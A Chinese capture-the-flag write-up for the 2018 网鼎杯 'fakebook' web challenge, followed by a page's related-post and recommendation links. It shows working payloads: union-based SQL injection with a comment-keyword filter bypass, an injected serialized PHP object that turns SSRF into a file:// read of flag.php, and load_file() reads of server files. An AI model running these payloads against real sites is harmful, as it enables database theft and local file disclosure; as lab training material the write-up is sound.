解题过程:

首先进行目录扫描,发现以下目录:

user.php.bak
login.php
flag.php
user.php
robots.txt

user.php.bak猜测存在源码泄露。

查看源码:

<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} function get($url)
{
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); return $output;
} public function getBlogContents ()
{
return $this->get($this->blog);
} public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
} }

用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。因此只要访问/var/www/html/flag.php就可以拿到flag,想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议。由于curl不仅支持http(s),还支持file协议,猜测通过其他途径使用file协议读取文件。

SQL注入

页面提供登录和注册功能,尝试进行注册;发现注册时需要填写blog,并且对与blog限制只能输入网址(SSRF?)。

注册后,首页情况如下:

点击链接进行查看:

猜测链接处存在SQL注入,进行测试:

http://220.249.52.133:41438/view.php?no=1 and 1=1		// 正常
http://220.249.52.133:41438/view.php?no=1’ // 报错
http://220.249.52.133:41438/view.php?no=0 union select 1,2,3,4 // no hack

结论,注入漏洞,但存在敏感词过滤

测试过滤敏感词:0xselect

尝试绕过select

  1. /*!SeLEct*/
  2. 大小写
  3. 双写
  4. sel<>ect

仅第一种方法有用,构建payload:

第二个注入点可以使用。

http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(select group_concat('~',schema_name,'~') from information_schema.schemata),3,4

http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(select group_concat('~',column_name,'~') from information_schema.columns where table_schema = database()),3,4

数据库名:fakebook;

表名:users;

列名:no、username、passwd、data;

passwd通过md5加密,data字段存放的事用户信息经过序列化的结果,结合前面 view.php 页面会加载用户的blog信息,所以这里极有可能是利用反序化数据库中的data字段,然后取出url字段并加载,即可以SSRF。

获得flag:

http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123456;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

彩蛋

经过提示,发现之间通过SQL注入方式读取文件,获得FLAG。

猜测为非预期解。

http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(load_file('/var/www/html/flag.php')),3,4

分析源码:

view.php

$db = new DB();
<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
} $res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res); $response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
} else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
} // var_dump($user->getBlogContents());

data一栏中的数据是通过反序列化后所得到的,可以利用这一点绕过注册时对data的限制,使用file协议读取文件。

【网鼎杯2018】fakebook的更多相关文章

  1. 刷题 [网鼎杯 2018]Fakebook

    解题思路 首先登陆页面发现是这样的: 查看源码 源码很正常,也没有什么特别的 web目录扫描 我用的是dirmap工具扫描,扫描结果保存在一个txt文件中,结果可知没什么后台. robots.txt ...

  2. [网鼎杯 2018]Comment

    [网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...

  3. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  4. buuctf-[网鼎杯 2018]Fakebook 1

    这道题,也是费了很大的劲,慢慢理解慢慢消化,今天,才开始把wp写出来 首先我们先扫描一波目录,用dirsearch扫一手,发现有robots.txt文件 dirseach自带的字典在db目录下,使用格 ...

  5. BUUCTF-[网鼎杯 2018]Fakebook(SSRF+联合注入绕Waf)

    记一道SSRF配合SQL注入的题. 喜欢在做题之前扫一下网站的目录,扫到了robots.txt文件可以访问,拿到user.php.bak的源码.同时还有flag.php. <?php class ...

  6. [网鼎杯2018]Unfinish-1|SQL注入|二次注入

    1.进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下: 2.进行目录扫描,发现了注册界面:register.php,结果如下: 3.那就访问注册界面, ...

  7. [网鼎杯 2018]Comment-1|SQL注入|二次注入

    1.打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下: 2.那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户.密码给出了 ...

  8. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

  9. CTF-i春秋网鼎杯第四场部分writeup

    CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...

随机推荐

  1. Navicat Premium 12安装激活教程_不需要激活工具直接激活

    问题场景:在使用注册机进行破解navicat的时候,在最后一步生成激活码的时候报错:Error on Decrypt Request Code…… 解决方案:1.先关闭Navicat2.Windows ...

  2. fiddler修改请求参数

    1.打开fiddler ,点击界面左侧左侧底部 2.此图标为before request请求(修改请求参数时,设置这个,可以修改请求参数) 3..再次点击该按钮,将图标切换到下图after respo ...

  3. 基于 abp vNext 和 .NET Core 开发博客项目 - Blazor 实战系列(八)

    系列文章 基于 abp vNext 和 .NET Core 开发博客项目 - 使用 abp cli 搭建项目 基于 abp vNext 和 .NET Core 开发博客项目 - 给项目瘦身,让它跑起来 ...

  4. Redis 数据结构 之 SDS

    SDS(simple dynamic string),简单动态字符串.s同时它被称为 Hacking String.hack 的地方就在 sds 保存了字符串的长度以及剩余空间.sds 的实现在 sd ...

  5. 黎活明8天快速掌握android视频教程--25_网络通信之资讯客户端

    1 该项目的主要功能是:后台通过xml或者json格式返回后台的视频资讯,然后Android客户端界面显示出来 首先后台新建立一个java web后台 采用mvc的框架 所以的servlet都放在se ...

  6. Spring IoC 默认标签解析

    前言 本系列全部基于 Spring 5.2.2.BUILD-SNAPSHOT 版本.因为 Spring 整个体系太过于庞大,所以只会进行关键部分的源码解析. 本篇文章主要介绍 Spring IoC 容 ...

  7. Python 简明教程 --- 6,Python 控制流

    微信公众号:码农充电站pro 个人主页:https://codeshellme.github.io Talk is cheap, show me the code. -- Linus Torvalds ...

  8. 05【掌握】 SpringBoot 清空Redis所有缓存

    package top.yangbuyi.system.controller; import org.springframework.beans.factory.annotation.Autowire ...

  9. JAVA集合框架 - Collection

    collection大致介绍 Collection是集合层次结构中的根接口. 集合表示一组对象.有些集合允许重复元素,有些则不允许.有些是有序的,有些是无序的. JDK没有提供此接口的任何直接实现:它 ...

  10. [SCOI2016]背单词 题解

    背单词 https://www.luogu.com.cn/problem/P3294 前言: Trie树的省选题(瑟瑟发抖QAQ) 问题汇总:(请忽略) (1)对Trie字典树的运用不熟练 (2)没想 ...